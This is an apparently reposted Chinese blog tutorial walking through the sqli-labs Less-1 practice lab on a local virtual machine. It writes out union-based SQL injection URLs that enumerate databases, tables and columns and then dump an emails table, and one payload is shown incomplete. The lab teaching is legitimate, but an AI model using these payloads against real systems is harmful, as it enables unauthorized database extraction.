sql-libs -字符型注入

Posted kuaile1314

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql-libs -字符型注入相关的知识,希望对你有一定的参考价值。

关于sql-libs的安装就不做过多的说明,

环境:win7虚拟机 192.168.48.130(NAT连接),然后用我的win10物理机去访问。

 

直接加 ‘ 报错,后测试 and ‘1‘=‘1 成功返回,1=2错误, 是基于字符型的注入

技术图片

order by 3--+ 返回正常,  4的时候错误,得到字段为3,  --+是注释符号  http://192.168.48.130/sqli-labs-master/Less-1/?id=1‘ order by 3--+

技术图片

 

查找当前数据库名称和版本号:http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,database(),version()--+

 技术图片

 

 查找所有数据库的名字 :http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(schema_name) from information_schema.schemata),version()--+

 

技术图片

 

前面我们知道了,当前数据库是security,我们可以爆这个数据库下的所有表名,

语句: 

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()
),version()--+

技术图片

 

当然,我们也可以查 mysql (0x6D7973716C) 数据库的所有表名,http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x6D7973716C

),version()--+

技术图片

 

上上图得到了emails的4个表名,假如我们想得到emails字段名,也用到16进制来进行编码, emails=0x656D61696C73 

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73

 

技术图片

 

得到字段为 id 和email_id , 接下来就可以查看字段内容了 ,

http://192.168.48.130/sqli-labs-master/Less-1/?id=-1‘ union select 1,(select group_concat(id,0x3a,email_id) from emails
),version()--+

技术图片

 

 技术图片

 

以上是关于sql-libs -字符型注入的主要内容,如果未能解决你的问题,请参考以下文章

sql-lib闯关秘籍之31-40关

sql-lib闯关秘籍之41-50关

sql-lib闯关秘籍之21-30关

sql-lib闯关秘籍之11-20关

sql-libs闯关61-65

sql-lib闯关之lesson17-19